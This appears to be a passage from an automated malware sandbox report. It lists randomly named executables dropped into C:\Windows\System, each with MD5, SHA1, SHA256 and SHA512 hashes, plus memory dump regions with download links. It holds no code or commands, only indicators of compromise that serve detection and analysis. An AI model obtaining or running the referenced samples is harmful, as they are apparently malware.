MD5
0679d43b3314b3895109f7c4be7eccdd

SHA1
7a842fc295906a560bcad0d05438cce1aa5cfdb3

SHA256
93e163052922332dccfba368d30e8d060ae0e54d1155f05697e0a4d90b60a482

SHA512
15257109703c82daeb3f911fc7e1179abdc8b1c04b2786d28e8188130705ce40d21ad28ebeb84b7c2f8e6fb6a37fc707f6ba5ac7c8527f392db83d9e93e23b63

Download Submit
C:\Windows\System\gGiwFVH.exe

Filesize
3.0MB

MD5
4ff3b5f4e35b3169c19db9e05c8ec17d

SHA1
28c10aac1194e72728f79cb780273da65bfeabfc

SHA256
bc8fd70208a4e774a3cdc9d87b7bfe09452cbca77932504f5ee8e993f3f803a3

SHA512
b6bad462de83e553711b91d6f2b256ca5f7a05c669d99bde8db60276ed0b1ad8c9c147fee6c38b53ae2e9afb87833f5cfe63ec3b010700ca2f6bbc5edec9bc67

Download Submit
C:\Windows\System\hyUAIRf.exe

Filesize
3.0MB

MD5
1f565498ebd94a90c1f6bd4b51b75a72

SHA1
174ae70e603c9c2b652e147bb872cbda27dedc45

SHA256
b97de7d0b2e28a4382075bfe7bf7499264ba97bd29de53669649ce1ea098c833

SHA512
6b7561ccac2a6d277989fd1b5304e6c3a0e0ba6a4943003f5d33c791848adf8a0aaa58dcb45ba7704bcf2ff65fba2c71f4a57ddf542391a3d03ffd76e01753dc

Download Submit
C:\Windows\System\luCucua.exe

Filesize
8B

MD5
6c6a33c852f4e05ffd14cdf0dcab7779

SHA1
70449821f99925d7b8d245181569b7ac4d2ffae8

SHA256
889f3baefc9f46c7632a467db8882ec92f1f0df14da91d5a211e7484de261e45

SHA512
92e5654661ef50c470f84dbec4dcad9efdca5e4026c073f08c798af48c0b5d8107a7b2ff4d63fdb982f371e15d79e95f8a6d716a30b5c5123a7273c49d650d19

Download Submit
C:\Windows\System\nlWQtEn.exe

Filesize
3.0MB

MD5
f7bf1a70d53abead2a037b9747a96343

SHA1
522d699ee91162f40bcbedc2157533b16a32c182

SHA256
0a108774d9713121c04765c5f55ec50a1d0ce118eeb7802ff1b12cb7ce9b1312

SHA512
5a1e31a54b0166cea70ec66ff3f7f2a83f9c570604460036b92826d7d38bd70550ed67d74153e5c5c7721437c91a81ac31c0198770c60bba0edc7449afaf7375

Download Submit
C:\Windows\System\oNkzctH.exe

Filesize
3.0MB

MD5
bc2429a9925fffb50457549888d792b5

SHA1
9923f929615614ceb4d3fc06363a8b2901bc444f

SHA256
e00d21db832ca1bced719c865547358e7f21b8e890c4053299050459fdab611c

SHA512
1c7cc4dae4d8362e6fce10749775a1b462bc3c67e7e252b7ff65af6f4317522453595b7040dee9ecce08b7a1579d68039fcbb40f726757c1ddedfbe554eceec0

Download Submit
C:\Windows\System\oaXwRmt.exe

Filesize
3.0MB

MD5
5cbd53882beb7ce6a153b7936ae10c80

SHA1
3661eceb4615eb0bdfdc9fe371f6b1ae18979dff

SHA256
6288c98f2ac1d1e2cc8074183ecf2a1149128e30fc36039e441af5be0aa94777

SHA512
b1d4802e4c2153008b3a7821c02b7a87ca1cf9a3b7226b4aa5793dd851e10c40821e8f2b6c518a40eabe67ee9bb21df36c745ca6c63169adfe5dc6e163af90db

Download Submit
C:\Windows\System\qAkYSvP.exe

Filesize
3.0MB

MD5
e3a92343c8a461e48bf511136dd989ec

SHA1
f6493b057c31da68b3b3877dcc9a1a274a79db6f

SHA256
d43a601890c960123a0a455613fc0104764c54bbf5b4d9c596520a66de825435

SHA512
71255a66d915623ff790bb27db0cd8d7ae0c85bdf518766bdc5e274b7320b5073d3385a398635d9777e820babcefb874b23119b33f40693459fa7f46928aa289

Download Submit
C:\Windows\System\qmSuXGL.exe

Filesize
3.0MB

MD5
628231c924744cb86d635103198a4d4c

SHA1
ba9eea96eb84c5e456b3459d158e4193bc7f0830

SHA256
e40fcd78df5ffc790d6bee18f6fcfc2b3fc8f3de9c3e33ba14ca1c66d3b670ec

SHA512
f83b9dc72fb457ddfa3d1a6c31e89e775fd333d8a40662476f1033ce687906071dc9236e40f2ba95f6c658fe3e89c4df7036b45d2c46aa55cf48df9be5b167da

Download Submit
C:\Windows\System\rtvtfdn.exe

Filesize
3.0MB

MD5
98f3b3ad25684231eeda3105b8214d68

SHA1
d85caff4f392f1495d6f8795a65a6e2a164b005a

SHA256
f65f0baada6ee4a728d81f3ae7a963f8421face963947b29a0de4828909d5774

SHA512
43b000316181800114af10cefecd0f4dfde53227270407d4fc340efb0818bdd1562d446dfe24e92d286cbc6da447d11318e5ad473637e75140971a6867017413

Download Submit
C:\Windows\System\uOrIbbe.exe

Filesize
3.0MB

MD5
60d0adce31ec8194e71c9f36001636b1

SHA1
1dc470121bb39845720eefe01c67e514d99d9b08

SHA256
757468b0a203be22f65c7b85cff3a1e7787b67e8d54f8878dc5204ffcb5b077b

SHA512
c076a7bd74d6b17b959785917a303a93288c70054cde42c338315cc119e69192ef5cf6243fcf96d1f1f3f8d727fa00618bd2a7c3dae2d1fc0ca4d86930be6997

Download Submit
C:\Windows\System\vqtQCYi.exe

Filesize
3.0MB

MD5
5c8e1e2cbe2f8f4053b86eec1906fac3

SHA1
530fdb16a33f48e4228707dc7f7fcfe3788d8d60

SHA256
626848b02c1b4a092b65cb4bebf2bcd14aa0e20f327790c0e3634c6ee830bd3d

SHA512
ffbed784fbb52ef60a92b7a7d0c184f798305e077e227aa196e7c7f28f3feb2193f32faf090e56d7a6876c6e7e14afe4592c4be4b17af81d6ffd7bd05f765e9b

Download Submit
C:\Windows\System\wDcpIUQ.exe

Filesize
18B

MD5
95401f01b8ce452de8281dbcb5380a91

SHA1
c66f7816a4c08617680db8b319e1774244418507

SHA256
55f541d223f4753eb87fceea79898642e0f911b5ff1b835756936629afee147d

SHA512
4b13a7dc05da31c678e2ea205808b7215c9013d7cf83ff1a5fce5c28bffa7b447ca7f0c0c1bbdada1360c648247063a4385f7020a5bca5b7b790eed1899feddc

Download Submit
C:\Windows\System\zuPQDRt.exe

Filesize
3.0MB

MD5
9864e06fd59a62d275ae87de854afa23

SHA1
a622fece3ab7b66ebdfd7bf2b75d356ca9c0069a

SHA256
2593525f7aec494480668b2b0442ca1f108cf7197371940f37aec918de362b91

SHA512
699a5df12853a7a527a35efa86be264de2ea72500b554fa0bd85bc412794dcf4e97698441b64bb7876cc01eaa2d8d523c533955960e0fb1a19fb1a8738f0fb02

Download Submit
memory/372-115-0x00007FF7357D0000-0x00007FF735BC6000-memory.dmp

Filesize
4.0MB

Download
memory/448-126-0x00007FF774590000-0x00007FF774986000-memory.dmp

Filesize
4.0MB

Download
memory/764-205-0x00007FF68DD50000-0x00007FF68E146000-memory.dmp

Filesize
4.0MB

Download
memory/1068-128-0x00007FF771990000-0x00007FF771D86000-memory.dmp

Filesize
4.0MB

Download
memory/1084-124-0x00007FF679C70000-0x00007FF67A066000-memory.dmp

Filesize
4.0MB

Download
memory/1324-3997-0x00007FF63B500000-0x00007FF63B8F6000-memory.dmp

Filesize
4.0MB

Download
memory/1324-129-0x00007FF63B500000-0x00007FF63B8F6000-memory.dmp

Filesize
4.0MB

Download
memory/1520-4018-0x00007FF7A6F50000-0x00007FF7A7346000-memory.dmp

Filesize
4.0MB

Download
memory/1520-123-0x00007FF7A6F50000-0x00007FF7A7346000-memory.dmp

Filesize
4.0MB

Download
memory/1676-116-0x00007FF671BC0000-0x00007FF671FB6000-memory.dmp

Filesize
4.0MB

Download
memory/1780-28-0x00007FFD06B10000-0x00007FFD075D1000-memory.dmp

Filesize
10.8MB

Download
memory/1780-125-0x00007FFD06B10000-0x00007FFD075D1000-memory.dmp

Filesize
10.8MB

Download
memory/1780-6-0x00007FFD06B13000-0x00007FFD06B15000-memory.dmp

Filesize
8KB

Download
memory/1780-130-0x00000255F81A0000-0x00000255F8946000-memory.dmp

Filesize
7.6MB

Download
memory/1780-88-0x00000255F75A0000-0x00000255F75C2000-memory.dmp

Filesize
136KB

Download
memory/1800-78-0x00007FF7D0120000-0x00007FF7D0516000-memory.dmp

Filesize
4.0MB

Download
memory/1840-3993-0x00007FF7F5A00000-0x00007FF7F5DF6000-memory.dmp

Filesize
4.0MB

Download
memory/1840-118-0x00007FF7F5A00000-0x00007FF7F5DF6000-memory.dmp

Filesize
4.0MB

Download
memory/1852-3999-0x00007FF65EED0000-0x00007FF65F2C6000-memory.dmp

Filesize
4.0MB

Download
memory/1852-122-0x00007FF65EED0000-0x00007FF65F2C6000-memory.dmp

Filesize
4.0MB

Download
memory/2964-200-0x00007FF6D0580000-0x00007FF6D0976000-memory.dmp

Filesize
4.0MB

Download
memory/3268-110-0x00007FF6EDCA0000-0x00007FF6EE096000-memory.dmp

Filesize
4.0MB

Download
memory/3372-50-0x00007FF727FB0000-0x00007FF7283A6000-memory.dmp

Filesize
4.0MB

Download
memory/3756-120-0x00007FF61BF70000-0x00007FF61C366000-memory.dmp

Filesize
4.0MB

Download
memory/3852-209-0x00007FF687F20000-0x00007FF688316000-memory.dmp

Filesize
4.0MB

Download
memory/4104-127-0x00007FF78CD70000-0x00007FF78D166000-memory.dmp

Filesize
4.0MB

Download
memory/4500-119-0x00007FF68D0D0000-0x00007FF68D4C6000-memory.dmp

Filesize
4.0MB

Download
memory/4500-3995-0x00007FF68D0D0000-0x00007FF68D4C6000-memory.dmp

Filesize
4.0MB

Download
memory/4508-117-0x00007FF6F4BC0000-0x00007FF6F4FB6000-memory.dmp

Filesize
4.0MB

Download
memory/4532-1369-0x00007FF7A0330000-0x00007FF7A0726000-memory.dmp

Filesize
4.0MB

Download
memory/4532-0-0x00007FF7A0330000-0x00007FF7A0726000-memory.dmp

Filesize
4.0MB

Download
memory/4532-1-0x0000023E2ACE0000-0x0000023E2ACF0000-memory.dmp

Filesize
64KB

Download
memory/4580-214-0x00007FF775650000-0x00007FF775A46000-memory.dmp

Filesize
4.0MB

Download
memory/4580-5607-0x00007FF775650000-0x00007FF775A46000-memory.dmp

Filesize
4.0MB

Download
memory/4700-95-0x00007FF622AF0000-0x00007FF622EE6000-memory.dmp

Filesize
4.0MB

Download
memory/4752-101-0x00007FF7704C0000-0x00007FF7708B6000-memory.dmp

Filesize
4.0MB

Download
memory/5084-121-0x00007FF73B210000-0x00007FF73B606000-memory.dmp

Filesize
4.0MB

Download
memory/5084-4000-0x00007FF73B210000-0x00007FF73B606000-memory.dmp

Filesize
4.0MB

Download
memory/5092-185-0x00007FF646510000-0x00007FF646906000-memory.dmp

Filesize
4.0MB

Download